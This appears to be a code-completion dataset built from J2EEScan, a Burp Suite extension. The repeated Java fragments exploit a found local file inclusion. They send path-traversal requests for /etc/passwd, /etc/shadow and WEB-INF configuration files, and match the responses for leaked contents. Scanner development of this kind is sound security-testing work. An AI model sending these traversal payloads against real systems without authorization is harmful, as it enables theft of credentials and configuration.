"Analyse the issue to understand if the vulnerability is caused by an infrastructure component or by an application issue.",
Risk.High,
Confidence.Firm
));
}
} catch (Exception ex) {
ex.printStackTrace(stderr);
}
// Try to retrieve /etc/shadow file
try {
String shadowLFIRequest = requestToString.replace(baseConfigFile,
helpers.urlEncode("../../../../../../../../../../../../../../../etc/shadow"));
IHttpRequestResponse shadowRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(shadowLFIRequest));
byte[] shadowResponse = shadowRequestResponse.getResponse();
| // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] STRUTS_PATTERN = "<struts".getBytes();
// List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SHADOW_PATTERN = "root:".getBytes();
// List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
//
// return (matchesShadow.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
// final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
// List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
//
// return (matchesIbmweb.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SPRING_PATTERN = "<beans".getBytes();
// List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/J2EELFIRetriever.java
import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List;
IHttpRequestResponse passwdRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(passwdLFIRequest));
byte[] passwdResponse = passwdRequestResponse.getResponse();
if (isEtcPasswdFile(passwdResponse, helpers)) {
cb.addScanIssue(new CustomScanIssue(
baseRequestResponse.getHttpService(),
requestInfo.getUrl(),
passwdRequestResponse,
"Local File Include - /etc/passwd Retrieved",
"J2EEScan was able to retrieve the <i>/etc/passwd</i> resource through the LFI vulnerability",
"Analyse the issue to understand if the vulnerability is caused by an infrastructure component or by an application issue.",
Risk.High,
Confidence.Firm
));
}
} catch (Exception ex) {
ex.printStackTrace(stderr);
}
// Try to retrieve /etc/shadow file
try {
String shadowLFIRequest = requestToString.replace(baseConfigFile,
helpers.urlEncode("../../../../../../../../../../../../../../../etc/shadow"));
IHttpRequestResponse shadowRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(shadowLFIRequest));
byte[] shadowResponse = shadowRequestResponse.getResponse();
| if (isEtcShadowFile(shadowResponse, helpers)) { |
ilmila/J2EEScan | src/main/java/burp/J2EELFIRetriever.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] STRUTS_PATTERN = "<struts".getBytes();
// List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SHADOW_PATTERN = "root:".getBytes();
// List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
//
// return (matchesShadow.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
// final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
// List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
//
// return (matchesIbmweb.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SPRING_PATTERN = "<beans".getBytes();
// List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List; | baseRequestResponse.getHttpService(), helpers.stringToBytes(ibmwebLFIRequest));
byte[] ibmwebResponse = ibmwebRequestResponse.getResponse();
if (HTTPMatcher.isIBMWebExtFileWAS6(ibmwebResponse, helpers)) {
cb.addScanIssue(new CustomScanIssue(
baseRequestResponse.getHttpService(),
requestInfo.getUrl(),
ibmwebRequestResponse,
"Local File Include - ibm-web-ext.xmi Retrieved",
"J2EEScan was able tor retrieve the IBM Application Server ibm-web-ext.xmi resource through the LFI vulnerability.",
LFI_REMEDY,
Risk.Low,
Confidence.Certain
));
}
} catch (Exception ex) {
ex.printStackTrace(stderr);
}
// Try to retrieve ibm-ws-bnd.xml file
try {
// http://www-01.ibm.com/support/knowledgecenter/SSAW57_8.5.5/com.ibm.websphere.wlp.nd.doc/ae/twlp_sec_ws_basicauth.html?cp=SSAW57_8.5.5%2F1-3-11-0-4-9-0-1
String ibmwebLFIRequest = requestToString.replace(baseConfigFile, "ibm-ws-bnd.xml");
IHttpRequestResponse ibmwebRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(ibmwebLFIRequest));
byte[] ibmwebResponse = ibmwebRequestResponse.getResponse();
| // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] STRUTS_PATTERN = "<struts".getBytes();
// List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SHADOW_PATTERN = "root:".getBytes();
// List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
//
// return (matchesShadow.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
// final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
// List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
//
// return (matchesIbmweb.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SPRING_PATTERN = "<beans".getBytes();
// List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/J2EELFIRetriever.java
import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List;
baseRequestResponse.getHttpService(), helpers.stringToBytes(ibmwebLFIRequest));
byte[] ibmwebResponse = ibmwebRequestResponse.getResponse();
if (HTTPMatcher.isIBMWebExtFileWAS6(ibmwebResponse, helpers)) {
cb.addScanIssue(new CustomScanIssue(
baseRequestResponse.getHttpService(),
requestInfo.getUrl(),
ibmwebRequestResponse,
"Local File Include - ibm-web-ext.xmi Retrieved",
"J2EEScan was able tor retrieve the IBM Application Server ibm-web-ext.xmi resource through the LFI vulnerability.",
LFI_REMEDY,
Risk.Low,
Confidence.Certain
));
}
} catch (Exception ex) {
ex.printStackTrace(stderr);
}
// Try to retrieve ibm-ws-bnd.xml file
try {
// http://www-01.ibm.com/support/knowledgecenter/SSAW57_8.5.5/com.ibm.websphere.wlp.nd.doc/ae/twlp_sec_ws_basicauth.html?cp=SSAW57_8.5.5%2F1-3-11-0-4-9-0-1
String ibmwebLFIRequest = requestToString.replace(baseConfigFile, "ibm-ws-bnd.xml");
IHttpRequestResponse ibmwebRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(ibmwebLFIRequest));
byte[] ibmwebResponse = ibmwebRequestResponse.getResponse();
| if (isIBMWSBinding(ibmwebResponse, helpers)) { |
ilmila/J2EEScan | src/main/java/burp/J2EELFIRetriever.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] STRUTS_PATTERN = "<struts".getBytes();
// List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SHADOW_PATTERN = "root:".getBytes();
// List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
//
// return (matchesShadow.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
// final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
// List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
//
// return (matchesIbmweb.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SPRING_PATTERN = "<beans".getBytes();
// List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List; | LFI_REMEDY,
Risk.High,
Confidence.Certain
));
}
} catch (Exception ex) {
ex.printStackTrace(stderr);
}
// Try to retrieve the struts configuration file
try {
// Possibile paths:
// /WEB-INF/classes/struts.xml
// /WEB-INF/struts-config.xml
// /WEB-INF/struts.xml
final List<String> STRUTS_PATHS = Arrays.asList(
helpers.urlEncode("classes/struts.xml"),
"struts-config.xml",
"struts.xml"
);
for (String STRUT_PATH : STRUTS_PATHS) {
String strutLFIRequest = requestToString.replace(baseConfigFile, STRUT_PATH);
IHttpRequestResponse strutsRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(strutLFIRequest));
byte[] strutsResponse = strutsRequestResponse.getResponse();
| // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] STRUTS_PATTERN = "<struts".getBytes();
// List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SHADOW_PATTERN = "root:".getBytes();
// List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
//
// return (matchesShadow.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
// final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
// List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
//
// return (matchesIbmweb.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SPRING_PATTERN = "<beans".getBytes();
// List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/J2EELFIRetriever.java
import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List;
LFI_REMEDY,
Risk.High,
Confidence.Certain
));
}
} catch (Exception ex) {
ex.printStackTrace(stderr);
}
// Try to retrieve the struts configuration file
try {
// Possibile paths:
// /WEB-INF/classes/struts.xml
// /WEB-INF/struts-config.xml
// /WEB-INF/struts.xml
final List<String> STRUTS_PATHS = Arrays.asList(
helpers.urlEncode("classes/struts.xml"),
"struts-config.xml",
"struts.xml"
);
for (String STRUT_PATH : STRUTS_PATHS) {
String strutLFIRequest = requestToString.replace(baseConfigFile, STRUT_PATH);
IHttpRequestResponse strutsRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(strutLFIRequest));
byte[] strutsResponse = strutsRequestResponse.getResponse();
| if (isApacheStrutsConfigFile(strutsResponse, helpers)) { |
ilmila/J2EEScan | src/main/java/burp/J2EELFIRetriever.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] STRUTS_PATTERN = "<struts".getBytes();
// List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SHADOW_PATTERN = "root:".getBytes();
// List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
//
// return (matchesShadow.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
// final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
// List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
//
// return (matchesIbmweb.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SPRING_PATTERN = "<beans".getBytes();
// List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List; | Confidence.Certain
));
}
}
} catch (Exception ex) {
ex.printStackTrace(stderr);
}
// Try to retrieve the Spring application context configuration file
try {
// Possibile paths:
// /WEB-INF/application-context.xml
// /WEB-INF/applicationContext.xml
final List<String> APPLICATION_CONTEXTS_PATHS = Arrays.asList(
"applicationContext.xml",
helpers.urlEncode("classes/applicationContext.xml"),
"application-context.xml"
);
for (String APPLICATION_CONTEXT_PATH : APPLICATION_CONTEXTS_PATHS) {
String strutLFIRequest = requestToString.replace(baseConfigFile, APPLICATION_CONTEXT_PATH);
IHttpRequestResponse springRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(strutLFIRequest));
byte[] springResponse = springRequestResponse.getResponse();
| // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] STRUTS_PATTERN = "<struts".getBytes();
// List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SHADOW_PATTERN = "root:".getBytes();
// List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
//
// return (matchesShadow.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
// final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
// List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
//
// return (matchesIbmweb.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
